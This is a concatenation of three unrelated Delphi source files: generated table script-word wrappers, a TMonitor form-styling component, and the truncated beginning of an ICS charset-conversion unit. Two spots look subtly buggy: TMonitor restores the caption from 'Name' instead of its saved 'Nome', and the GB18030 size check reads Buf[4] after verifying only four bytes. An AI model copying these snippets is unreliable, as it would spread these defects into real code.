Result := aTable.Delete;
//#UC END# *55E5A68602F0_55E5A68602F0_4BBC910E0391_Word_impl*
end;//TkwPopTableDelete.Delete
class function TkwPopTableDelete.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Table:Delete';
end;//TkwPopTableDelete.GetWordNameForRegister
function TkwPopTableDelete.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := TypeInfo(Boolean);
end;//TkwPopTableDelete.GetResultTypeInfo
function TkwPopTableDelete.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 1;
end;//TkwPopTableDelete.GetAllParamsCount
function TkwPopTableDelete.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(IedTable)]);
end;//TkwPopTableDelete.ParamsTypes
procedure TkwPopTableDelete.DoDoIt(const aCtx: TtfwContext);
var l_aTable: IedTable;
begin
try
l_aTable := IedTable(aCtx.rEngine.PopIntf(IedTable));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aTable: IedTable : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
aCtx.rEngine.PushBool(Delete(aCtx, l_aTable));
end;//TkwPopTableDelete.DoDoIt
function TkwPopTableRowCount.RowCount(const aCtx: TtfwContext;
const aTable: IedTable): Integer;
{* Реализация слова скрипта pop:Table:RowCount }
//#UC START# *55E5A69E0012_55E5A69E0012_4BBC910E0391_Word_var*
//#UC END# *55E5A69E0012_55E5A69E0012_4BBC910E0391_Word_var*
begin
//#UC START# *55E5A69E0012_55E5A69E0012_4BBC910E0391_Word_impl*
Result := aTable.RowCount;
//#UC END# *55E5A69E0012_55E5A69E0012_4BBC910E0391_Word_impl*
end;//TkwPopTableRowCount.RowCount
class function TkwPopTableRowCount.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Table:RowCount';
end;//TkwPopTableRowCount.GetWordNameForRegister
function TkwPopTableRowCount.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := TypeInfo(Integer);
end;//TkwPopTableRowCount.GetResultTypeInfo
function TkwPopTableRowCount.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 1;
end;//TkwPopTableRowCount.GetAllParamsCount
function TkwPopTableRowCount.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(IedTable)]);
end;//TkwPopTableRowCount.ParamsTypes
procedure TkwPopTableRowCount.DoDoIt(const aCtx: TtfwContext);
var l_aTable: IedTable;
begin
try
l_aTable := IedTable(aCtx.rEngine.PopIntf(IedTable));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aTable: IedTable : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
aCtx.rEngine.PushInt(RowCount(aCtx, l_aTable));
end;//TkwPopTableRowCount.DoDoIt
function TkwPopTableCell.Cell(const aCtx: TtfwContext;
const aTable: IedTable): IedCell;
{* Реализация слова скрипта pop:Table:Cell }
//#UC START# *55E5A6B001EF_55E5A6B001EF_4BBC910E0391_Word_var*
//#UC END# *55E5A6B001EF_55E5A6B001EF_4BBC910E0391_Word_var*
begin
//#UC START# *55E5A6B001EF_55E5A6B001EF_4BBC910E0391_Word_impl*
Result := aTable.Cell;
//#UC END# *55E5A6B001EF_55E5A6B001EF_4BBC910E0391_Word_impl*
end;//TkwPopTableCell.Cell
class function TkwPopTableCell.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Table:Cell';
end;//TkwPopTableCell.GetWordNameForRegister
function TkwPopTableCell.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := TypeInfo(IedCell);
end;//TkwPopTableCell.GetResultTypeInfo
function TkwPopTableCell.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 1;
end;//TkwPopTableCell.GetAllParamsCount
function TkwPopTableCell.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(IedTable)]);
end;//TkwPopTableCell.ParamsTypes
procedure TkwPopTableCell.DoDoIt(const aCtx: TtfwContext);
var l_aTable: IedTable;
begin
try
l_aTable := IedTable(aCtx.rEngine.PopIntf(IedTable));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aTable: IedTable : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
aCtx.rEngine.PushIntf(Cell(aCtx, l_aTable), TypeInfo(IedCell));
end;//TkwPopTableCell.DoDoIt
function TkwPopTableCells.Cells(const aCtx: TtfwContext;
const aTable: IedTable): IedCells;
{* Реализация слова скрипта pop:Table:Cells }
//#UC START# *55E5A6C10230_55E5A6C10230_4BBC910E0391_Word_var*
//#UC END# *55E5A6C10230_55E5A6C10230_4BBC910E0391_Word_var*
begin
//#UC START# *55E5A6C10230_55E5A6C10230_4BBC910E0391_Word_impl*
Result := aTable.Cells;
//#UC END# *55E5A6C10230_55E5A6C10230_4BBC910E0391_Word_impl*
end;//TkwPopTableCells.Cells
class function TkwPopTableCells.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Table:Cells';
end;//TkwPopTableCells.GetWordNameForRegister
function TkwPopTableCells.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := TypeInfo(IedCells);
end;//TkwPopTableCells.GetResultTypeInfo
function TkwPopTableCells.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 1;
end;//TkwPopTableCells.GetAllParamsCount
function TkwPopTableCells.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(IedTable)]);
end;//TkwPopTableCells.ParamsTypes
procedure TkwPopTableCells.DoDoIt(const aCtx: TtfwContext);
var l_aTable: IedTable;
begin
try
l_aTable := IedTable(aCtx.rEngine.PopIntf(IedTable));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aTable: IedTable : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
aCtx.rEngine.PushIntf(Cells(aCtx, l_aTable), TypeInfo(IedCells));
end;//TkwPopTableCells.DoDoIt
function TkwPopTableColumn.Column(const aCtx: TtfwContext;
const aTable: IedTable): IedColumn;
{* Реализация слова скрипта pop:Table:Column }
//#UC START# *55E5A6D40041_55E5A6D40041_4BBC910E0391_Word_var*
//#UC END# *55E5A6D40041_55E5A6D40041_4BBC910E0391_Word_var*
begin
//#UC START# *55E5A6D40041_55E5A6D40041_4BBC910E0391_Word_impl*
Result := aTable.Column;
//#UC END# *55E5A6D40041_55E5A6D40041_4BBC910E0391_Word_impl*
end;//TkwPopTableColumn.Column
class function TkwPopTableColumn.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Table:Column';
end;//TkwPopTableColumn.GetWordNameForRegister
function TkwPopTableColumn.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := TypeInfo(IedColumn);
end;//TkwPopTableColumn.GetResultTypeInfo
function TkwPopTableColumn.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 1;
end;//TkwPopTableColumn.GetAllParamsCount
function TkwPopTableColumn.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(IedTable)]);
end;//TkwPopTableColumn.ParamsTypes
procedure TkwPopTableColumn.DoDoIt(const aCtx: TtfwContext);
var l_aTable: IedTable;
begin
try
l_aTable := IedTable(aCtx.rEngine.PopIntf(IedTable));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aTable: IedTable : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
aCtx.rEngine.PushIntf(Column(aCtx, l_aTable), TypeInfo(IedColumn));
end;//TkwPopTableColumn.DoDoIt
function TkwPopTableColumnsIterator.ColumnsIterator(const aCtx: TtfwContext;
const aTable: IedTable): IedColumnsIterator;
{* Реализация слова скрипта pop:Table:ColumnsIterator }
//#UC START# *55E5A7750138_55E5A7750138_4BBC910E0391_Word_var*
//#UC END# *55E5A7750138_55E5A7750138_4BBC910E0391_Word_var*
begin
//#UC START# *55E5A7750138_55E5A7750138_4BBC910E0391_Word_impl*
Result := aTable.ColumnsIterator;
//#UC END# *55E5A7750138_55E5A7750138_4BBC910E0391_Word_impl*
end;//TkwPopTableColumnsIterator.ColumnsIterator
class function TkwPopTableColumnsIterator.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Table:ColumnsIterator';
end;//TkwPopTableColumnsIterator.GetWordNameForRegister
function TkwPopTableColumnsIterator.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := TypeInfo(IedColumnsIterator);
end;//TkwPopTableColumnsIterator.GetResultTypeInfo
function TkwPopTableColumnsIterator.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 1;
end;//TkwPopTableColumnsIterator.GetAllParamsCount
function TkwPopTableColumnsIterator.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(IedTable)]);
end;//TkwPopTableColumnsIterator.ParamsTypes
procedure TkwPopTableColumnsIterator.DoDoIt(const aCtx: TtfwContext);
var l_aTable: IedTable;
begin
try
l_aTable := IedTable(aCtx.rEngine.PopIntf(IedTable));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aTable: IedTable : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
aCtx.rEngine.PushIntf(ColumnsIterator(aCtx, l_aTable), TypeInfo(IedColumnsIterator));
end;//TkwPopTableColumnsIterator.DoDoIt
function TkwPopTableRowsIterator.RowsIterator(const aCtx: TtfwContext;
const aTable: IedTable): IedRowsIterator;
{* Реализация слова скрипта pop:Table:RowsIterator }
//#UC START# *55E5A78C019B_55E5A78C019B_4BBC910E0391_Word_var*
//#UC END# *55E5A78C019B_55E5A78C019B_4BBC910E0391_Word_var*
begin
//#UC START# *55E5A78C019B_55E5A78C019B_4BBC910E0391_Word_impl*
Result := aTable.RowsIterator;
//#UC END# *55E5A78C019B_55E5A78C019B_4BBC910E0391_Word_impl*
end;//TkwPopTableRowsIterator.RowsIterator
class function TkwPopTableRowsIterator.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Table:RowsIterator';
end;//TkwPopTableRowsIterator.GetWordNameForRegister
function TkwPopTableRowsIterator.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := TypeInfo(IedRowsIterator);
end;//TkwPopTableRowsIterator.GetResultTypeInfo
function TkwPopTableRowsIterator.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 1;
end;//TkwPopTableRowsIterator.GetAllParamsCount
function TkwPopTableRowsIterator.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(IedTable)]);
end;//TkwPopTableRowsIterator.ParamsTypes
procedure TkwPopTableRowsIterator.DoDoIt(const aCtx: TtfwContext);
var l_aTable: IedTable;
begin
try
l_aTable := IedTable(aCtx.rEngine.PopIntf(IedTable));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aTable: IedTable : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
aCtx.rEngine.PushIntf(RowsIterator(aCtx, l_aTable), TypeInfo(IedRowsIterator));
end;//TkwPopTableRowsIterator.DoDoIt
class procedure TkwPopTableOldNSRC.DoSetValue(const aTable: IedTable;
aValue: Boolean);
{* Метод установки значения свойства OldNSRC }
//#UC START# *55E5A70E01E7_4BBC910E0391_Word_DoSetValue_55E5A70E01E7_4BBC910E0391_Word_var*
//#UC END# *55E5A70E01E7_4BBC910E0391_Word_DoSetValue_55E5A70E01E7_4BBC910E0391_Word_var*
begin
//#UC START# *55E5A70E01E7_4BBC910E0391_Word_DoSetValue_55E5A70E01E7_4BBC910E0391_Word_impl*
aTable.OldNSRC := aValue;
//#UC END# *55E5A70E01E7_4BBC910E0391_Word_DoSetValue_55E5A70E01E7_4BBC910E0391_Word_impl*
end;//TkwPopTableOldNSRC.DoSetValue
function TkwPopTableOldNSRC.OldNSRC(const aCtx: TtfwContext;
const aTable: IedTable): Boolean;
{* Реализация слова скрипта pop:Table:OldNSRC }
//#UC START# *55E5A70E01E7_55E5A70E01E7_4BBC910E0391_Word_var*
//#UC END# *55E5A70E01E7_55E5A70E01E7_4BBC910E0391_Word_var*
begin
//#UC START# *55E5A70E01E7_55E5A70E01E7_4BBC910E0391_Word_impl*
Result := aTable.OldNSRC;
//#UC END# *55E5A70E01E7_55E5A70E01E7_4BBC910E0391_Word_impl*
end;//TkwPopTableOldNSRC.OldNSRC
class function TkwPopTableOldNSRC.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Table:OldNSRC';
end;//TkwPopTableOldNSRC.GetWordNameForRegister
function TkwPopTableOldNSRC.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := TypeInfo(Boolean);
end;//TkwPopTableOldNSRC.GetResultTypeInfo
function TkwPopTableOldNSRC.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 1;
end;//TkwPopTableOldNSRC.GetAllParamsCount
function TkwPopTableOldNSRC.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(IedTable)]);
end;//TkwPopTableOldNSRC.ParamsTypes
procedure TkwPopTableOldNSRC.SetValuePrim(const aValue: TtfwStackValue;
const aCtx: TtfwContext);
var l_Table: IedTable;
begin
try
l_Table := IedTable(aCtx.rEngine.PopIntf(IedTable));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра Table: IedTable : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
DoSetValue(l_Table, aValue.AsBoolean);
end;//TkwPopTableOldNSRC.SetValuePrim
procedure TkwPopTableOldNSRC.DoDoIt(const aCtx: TtfwContext);
var l_aTable: IedTable;
begin
try
l_aTable := IedTable(aCtx.rEngine.PopIntf(IedTable));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aTable: IedTable : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
aCtx.rEngine.PushBool(OldNSRC(aCtx, l_aTable));
end;//TkwPopTableOldNSRC.DoDoIt
initialization
TkwPopTableInsertRows.RegisterInEngine;
{* Регистрация pop_Table_InsertRows }
TkwPopTableSplit.RegisterInEngine;
{* Регистрация pop_Table_Split }
TkwPopTableMerge.RegisterInEngine;
{* Регистрация pop_Table_Merge }
TkwPopTableDelete.RegisterInEngine;
{* Регистрация pop_Table_Delete }
TkwPopTableRowCount.RegisterInEngine;
{* Регистрация pop_Table_RowCount }
TkwPopTableCell.RegisterInEngine;
{* Регистрация pop_Table_Cell }
TkwPopTableCells.RegisterInEngine;
{* Регистрация pop_Table_Cells }
TkwPopTableColumn.RegisterInEngine;
{* Регистрация pop_Table_Column }
TkwPopTableColumnsIterator.RegisterInEngine;
{* Регистрация pop_Table_ColumnsIterator }
TkwPopTableRowsIterator.RegisterInEngine;
{* Регистрация pop_Table_RowsIterator }
TkwPopTableOldNSRC.RegisterInEngine;
{* Регистрация pop_Table_OldNSRC }
TtfwTypeRegistrator.RegisterType(TypeInfo(IedTable));
{* Регистрация типа IedTable }
TtfwTypeRegistrator.RegisterType(TypeInfo(Boolean));
{* Регистрация типа Boolean }
TtfwTypeRegistrator.RegisterType(TypeInfo(Integer));
{* Регистрация типа Integer }
TtfwTypeRegistrator.RegisterType(TypeInfo(IedCell));
{* Регистрация типа IedCell }
TtfwTypeRegistrator.RegisterType(TypeInfo(IedCells));
{* Регистрация типа IedCells }
TtfwTypeRegistrator.RegisterType(TypeInfo(IedColumn));
{* Регистрация типа IedColumn }
TtfwTypeRegistrator.RegisterType(TypeInfo(IedColumnsIterator));
{* Регистрация типа IedColumnsIterator }
TtfwTypeRegistrator.RegisterType(TypeInfo(IedRowsIterator));
{* Регистрация типа IedRowsIterator }
{$IfEnd} // NOT Defined(NoScripts)
end.
|
unit Monitor;
interface
uses
System.SysUtils, System.Classes, Vcl.Dialogs, Graphics, Forms, System.UITypes;
type
TMonitor = class(TComponent)
private
{ Private declarations }
Nome: string;
Estilo : TFontStyles;
Tamanho: Integer;
CorAnterior : TColor;
FForm : TForm;
protected
{ Protected declarations }
public
{ Public declarations }
procedure Notification(AComponent: TComponent; AOperation: TOperation); override;
constructor Create(AOwner: TComponent); override;
published
{ Published declarations }
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('componenteOW', [TMonitor]);
end;
{ TMonitor }
constructor TMonitor.Create(AOwner: TComponent);
begin
inherited;
FForm := TForm(Owner);
Nome := FForm.Caption;
Tamanho := FForm.Font.Size;
Estilo := FForm.Font.Style;
CorAnterior := FForm.Font.Color;
FForm.Caption := 'Titulo alterado pelo monitor';
FForm.Font.Size := 20;
FForm.Font.Style := [fsBold, fsItalic];
FForm.Font.Color := clBlue;
end;
procedure TMonitor.Notification(AComponent: TComponent; AOperation: TOperation);
begin
if (AOperation = opRemove) and (AComponent is TMonitor) then
begin
FForm.Caption := Name;
FForm.Font.Size := Tamanho;
FForm.Font.Style := Estilo;
FForm.Font.Color := CorAnterior;
end;
inherited;
end;
end.
|
{*_* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Author: Arno Garrels <arno.garrels@gmx.de>
Description: TIcsCsc (Csc => Charset Context) provides string conversion and
improved (Ansi) multi-byte character set routines.
Creation: Apr 25, 2010
Version: 1.00
EMail: http://www.overbyte.be francois.piette@overbyte.be
Support: Use the mailing list twsocket@elists.org
Follow "support" link at http://www.overbyte.be for subscription.
Legal issues: Copyright (C) 2010 by Arno Garrels, contributed to ICS
This software is provided 'as-is', without any express or
implied warranty. In no event will the author be held liable
for any damages arising from the use of this software.
Permission is granted to anyone to use this software for any
purpose, including commercial applications, and to alter it
and redistribute it freely, subject to the following
restrictions:
1. The origin of this software must not be misrepresented,
you must not claim that you wrote the original software.
If you use this software in a product, an acknowledgment
in the product documentation would be appreciated but is
not required.
2. Altered source versions must be plainly marked as such, and
must not be misrepresented as being the original software.
3. This notice may not be removed or altered from any source
distribution.
4. You must register this software by sending a picture postcard
to Francois PIETTE. Use a nice stamp and mention your name,
street address, EMail address and any comment you like to say.
History:
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
unit OverbyteIcsCsc;
{$I OVERBYTEICSDEFS.INC}
{$IFDEF COMPILER14_UP}
{$IFDEF NO_EXTENDED_RTTI}
{$RTTI EXPLICIT METHODS([]) FIELDS([]) PROPERTIES([])}
{$ENDIF}
{$ENDIF}
{$IFDEF DELPHI6_UP}
{$WARN SYMBOL_PLATFORM OFF}
{$WARN SYMBOL_LIBRARY OFF}
{$WARN SYMBOL_DEPRECATED OFF}
{$ENDIF}
{$B-} { Enable partial boolean evaluation }
{$T-} { Untyped pointers }
{$X+} { Enable extended syntax }
{$H+} { Use long strings }
{$IFDEF BCB}
{$ObjExportAll On}
{$ENDIF}
{ Iconv lib is loaded dynamically at run-time in Windows }
{.$DEFINE USE_ICONV}
{ MLang.DLL is loaded dynamically at run-time, used only }
{ in Windows with true MBCS and if iconv is not available }
{$DEFINE USE_MLANG}
{$IFNDEF MSWINDOWS}
{$IFDEF USE_MLANG}
{$UNDEF USE_MLANG}
{$ENDIF}
{$ENDIF}
interface
uses
{$IFDEF MSWINDOWS}
Windows,
{$ENDIF}
SysUtils, Classes, Math,
{$IFDEF MSWINDOWS}
{$IFDEF USE_ICONV}
OverbyteIcsIconv,
{$ENDIF}
{$IFDEF USE_MLANG}
OverbyteIcsMLang,
{$ENDIF}
{$ENDIF}
{$IFDEF POSIX}
PosixBase, PosixSysTypes, PosixErrno, PosixIconv,
{$ENDIF}
OverbyteIcsTypes,
OverbyteIcsUtils;
const
ICS_ERR_EINVAL = -1; // An incomplete byte sequence has been encountered in the input.
ICS_ERR_E2BIG = -2; // There is not sufficient room at *outbuf.
ICS_ERR_EILSEQ = -10; // An invalid byte sequence has been encountered in the input.
// ICS_ERR_EILSEQ: Actually value of ( ICS_ERR_EILSEQ minus invalid sequence size )
{$IFDEF USE_ICONV}
{$IFNDEF MSWINDOWS}
Load_Iconv = TRUE; // It's statically loaded
{$ENDIF}
type
TIcsIconvCompatFlags = set of (icfUseDefaultUnicodeChar,
icfBreakOnInvalidSequence);
{$ENDIF}
type
TIcsCharsetType =(ictSbcs, ictDbcs, ictMbcs, ictMbcsUnicode, ictUnicode);
TIcsNextCodePointFlags = set of (ncfSkipEILSEQ, ncfSkipEINVAL);
TIcsCsc = class; //Forward
TIcsCpSizeFunc = function(Csc: TIcsCsc; Buf: Pointer; BufSize: Integer): Integer;
TIcsConvertFunc = function(Csc: TIcsCsc; Flags: LongWord; InBuf: Pointer; InSize: Integer;
OutBuf: Pointer; OutSize: Integer): Integer;
TIcsCsc = class(TObject)
private
FCodePage : LongWord;
FCharSetType : TIcsCharsetType;
FDefaultUnicodeChar : WideChar;
FDefaultAnsiChar : AnsiChar;
FMinCpSize : Integer; // Minimum codepoint size
FLeadBytes : TIcsDbcsLeadBytes; // DBCS lead bytes
FToWcFunc : TIcsConvertFunc; // Convert to UTF-16 function pointer
FFromWcFunc : TIcsConvertFunc; // Convert from UTF-16 function pointer
FCpSizeFunc : TIcsCpSizeFunc; // Codepoint size function pointer
{$IFDEF USE_ICONV}
FIconvCompatFlags : TIcsIconvCompatFlags;
{$ENDIF}
protected
FToWcShiftState : LongWord; // Used with stateful charsets
FFromWcShiftState : LongWord; // Used with stateful charsets
{$IFDEF USE_ICONV}
FFromWcIconvCtx : iconv_t; // Iconv conversion descriptor/handle
FToWcIconvCtx : iconv_t; // Iconv conversion descriptor/handle
{$ENDIF}
procedure SetCodePage(const Value: LongWord); virtual;
procedure Init; virtual;
public
constructor Create(CodePage: LongWord); virtual;
destructor Destroy; override;
function GetBomBytes: TBytes;
function GetBufferEncoding(const Buf: Pointer; BufSize: Integer; Detect: Boolean): Integer;
procedure ClearToWcShiftState; // Reset ShiftState
procedure ClearFromWcShiftState; // Reset ShiftState
procedure ClearAllShiftStates;
function GetNextCodePointSize(Buf: Pointer; BufSize: Integer; Flags: TIcsNextCodePointFlags = [ncfSkipEILSEQ]): Integer;
function GetNextCodePoint(Buf: Pointer; BufSize: Integer; Flags: TIcsNextCodePointFlags = [ncfSkipEILSEQ]): Pointer;
function FromWc(Flags: LongWord; InBuf: Pointer; InSize: Integer; OutBuf: Pointer; OutSize: Integer): Integer; virtual;
function ToWc(Flags: LongWord; InBuf: Pointer; InSize: Integer; OutBuf: Pointer; OutSize: Integer): Integer; virtual;
property CharSetType: TIcsCharsetType read FCharSetType;
property LeadBytes: TIcsDbcsLeadBytes read FLeadBytes;
property CodePage: LongWord read FCodePage write SetCodePage;
property DefaultUnicodeChar: WideChar read FDefaultUnicodeChar;
property DefaultAnsiChar: AnsiChar read FDefaultAnsiChar;
property MinCpSize: Integer read FMinCpSize;
end;
TIcsCscStr = class(TIcsCsc)
public
function GetNextCodePointIndex(const S: RawByteString; Index: Integer; Flags: TIcsNextCodePointFlags = [ncfSkipEILSEQ]): Integer; overload;
function GetNextCodePointIndex(const S: UnicodeString; Index: Integer; Flags: TIcsNextCodePointFlags = [ncfSkipEILSEQ]): Integer; overload;
end;
function IcsCscGetWideCharCount(Csc: TIcsCsc; const Buf: Pointer; BufSize: Integer; out BytesLeft: Integer): Integer;
function IcsCscGetWideChars(Csc: TIcsCsc; const Buf: Pointer; BufSize: Integer; Chars: PWideChar; WCharCount: Integer): Integer;
function IcsCscBufferToUnicodeString(Csc: TIcsCsc; const Buf: Pointer; BufSize: Integer; out BytesLeft: Integer): UnicodeString;
function IcsCscToWcString(Csc: TIcsCsc; const Buf: Pointer; BufSize: Integer): UnicodeString;
implementation
resourcestring
sInvalidEncoding = 'Codepage "%d" not supported.';
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function GetDBCSLeadBytes(CodePage: LongWord): TIcsDbcsLeadBytes; {$IFDEF USE_INLINE} inline; {$ENDIF}
begin
case CodePage of
932 : Result := ICS_LEAD_BYTES_932;
936,
949,
950 : Result := ICS_LEAD_BYTES_936_949_950;
1361 : Result := ICS_LEAD_BYTES_1361;
10001 : Result := ICS_LEAD_BYTES_10001;
10002 : Result := ICS_LEAD_BYTES_10002;
10003 : Result := ICS_LEAD_BYTES_10003;
10008 : Result := ICS_LEAD_BYTES_10008;
20000 : Result := ICS_LEAD_BYTES_20000;
20001 : Result := ICS_LEAD_BYTES_20001;
20002 : Result := ICS_LEAD_BYTES_20002;
20003 : Result := ICS_LEAD_BYTES_20003;
20004 : Result := ICS_LEAD_BYTES_20004;
20005 : Result := ICS_LEAD_BYTES_20005;
20261 : Result := ICS_LEAD_BYTES_20261;
20932 : Result := ICS_LEAD_BYTES_20932;
20936 : Result := ICS_LEAD_BYTES_20936;
51949 : Result := ICS_LEAD_BYTES_51949;
else
Result := [];
end;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function StrByteCountUtf16(Utf16Str: PWord): Integer;
var
BeginP : Pointer;
begin
if Utf16Str <> nil then
begin
BeginP := Utf16Str;
while Utf16Str^ <> $0000 do
Inc(Utf16Str);
Result := INT_PTR(Utf16Str) - INT_PTR(BeginP);
end
else
Result := 0;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function StrByteCountUcs4(Ucs4Str: PLongWord): Integer;
var
BeginP : Pointer;
begin
if Ucs4Str <> nil then
begin
BeginP := Ucs4Str;
while Ucs4Str^ <> $00000000 do
Inc(Ucs4Str);
Result := INT_PTR(Ucs4Str) - INT_PTR(BeginP);
end
else
Result := 0;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function CheckDbcCpSize(Csc: TIcsCsc; Buf: Pointer;
BufSize: Integer): Integer;
begin
if PAnsiChar(Buf)^ in Csc.Leadbytes then
begin
if BufSize < 2 then
Result := ICS_ERR_EINVAL
else begin
//if Csc.ToWc(MB_ERR_INVALID_CHARS, Buf, 2, nil, 0) > 0 then
Result := 2
{else
Result := ICS_ERR_EILSEQ - 2;}
end;
end
else
Result := 1;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function CheckUtf8CpSize(Csc: TIcsCsc; Buf: Pointer; BufSize: Integer): Integer;
begin
Result := IcsUtf8Size(PByte(Buf)^);
if Result > BufSize then
Result := ICS_ERR_EINVAL
else if Result = 0 then
Result := ICS_ERR_EILSEQ -1
else if (Result > 1) and (CharSetDetect(Buf, Result) = cdrUnknown) then
Result := ICS_ERR_EILSEQ - 1 {Result};
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
const
//Utf7_Set_D : TSysCharset = [#39..#41, #44..#58, #63, #65..#90, #97..#122];
//Utf7_Set_O : TSysCharset = [#33..#38, #42, #59..#62, #64, #91, #93..#96, #123..#125];
Utf7_Set_O_LAZY : TSysCharset = [#09, #10, #13, #32..#42, #44..#91, #93..#125];
Utf7_Set_B : TSysCharset = ['0'..'9', '+', '/', 'A'..'Z', 'a'..'z'];
Utf7_Set_C : TSysCharset = ['0'..'9', '+', '/', '-', 'A'..'Z', 'a'..'z'];
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function CheckUtf7CpSize(Csc: TIcsCsc; Buf: Pointer; BufSize: Integer): Integer;
var
B : PAnsiChar;
I : Integer;
begin
B := Buf;
Result := ICS_ERR_EINVAL;
I := 0;
if Csc.FToWcShiftState = 0 then
begin
if B[0] in Utf7_Set_O_LAZY then
Result := 1
else begin
if B[0] = '+' then
begin
Csc.FToWcShiftState := 1;
Inc(I);
if (I < BufSize) and (not (B[I] in Utf7_Set_C)) then
begin
Result := ICS_ERR_EILSEQ - 2;
Exit;
end;
Csc.FToWcShiftState := 2;
while I < BufSize do
begin
if not (B[I] in Utf7_Set_B) then
begin
Csc.FToWcShiftState := 0;
if not (B[I] in Utf7_Set_O_LAZY) then
Result := ICS_ERR_EILSEQ - (I + 1)
else
Result := I + 1;
Exit;
end;
Inc(I);
end;
end
else
Result := ICS_ERR_EILSEQ -1;
end;
end
else begin
if (Csc.FToWcShiftState = 1) then
begin
if (not (B[0] in Utf7_Set_C)) then
begin
Result := ICS_ERR_EILSEQ -1;
Exit;
end
else
Csc.FToWcShiftState := 2;
end;
while I < BufSize do
begin
if not (B[I] in Utf7_Set_B) then
begin
Csc.FToWcShiftState := 0;
if not (B[I] in Utf7_Set_O_LAZY) then
Result := ICS_ERR_EILSEQ - (I + 1)
else
Result := I + 1;
Exit;
end;
Inc(I);
end;
end;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function CheckSbcCpSize(Dummy: TIcsCsc; Buf: Pointer; BufSize: Integer): Integer;
begin
Result := 1;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function CheckGB18030CpSize(Dummy: TIcsCsc; ABuf: Pointer; Bufsize: Integer): Integer;
var
Buf: PAnsiChar;
begin
//(CP = 54936) Windows XP and later
Buf := ABuf;
Result := ICS_ERR_EINVAL;
if Buf[0] <= #$7F then
Result := 1
else if Buf[0] in [#$81..#$FE] then // Either 2 or 4 bytes
begin
if BufSize >= 2 then
begin
if Buf[1] in [#$40..#$FE] then
Result := 2
else if Buf[1] in [#$30..#$39] then
begin
if BufSize >= 4 then
begin
if (Buf[2] in [#$81..#$FE]) and (Buf[4] in [#$30..#$39]) then
Result := 4
else
Result := ICS_ERR_EILSEQ - 1;
end;
// else ICS_ERR_EINVAL
end
else
Result := ICS_ERR_EILSEQ - 1;
end;
end
else
Result := ICS_ERR_EILSEQ - 1;
end;
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}
function CheckEucJpCpSize(Dummy: TIcsCsc; ABuf: Pointer; BufSize: Integer): Integer;
var
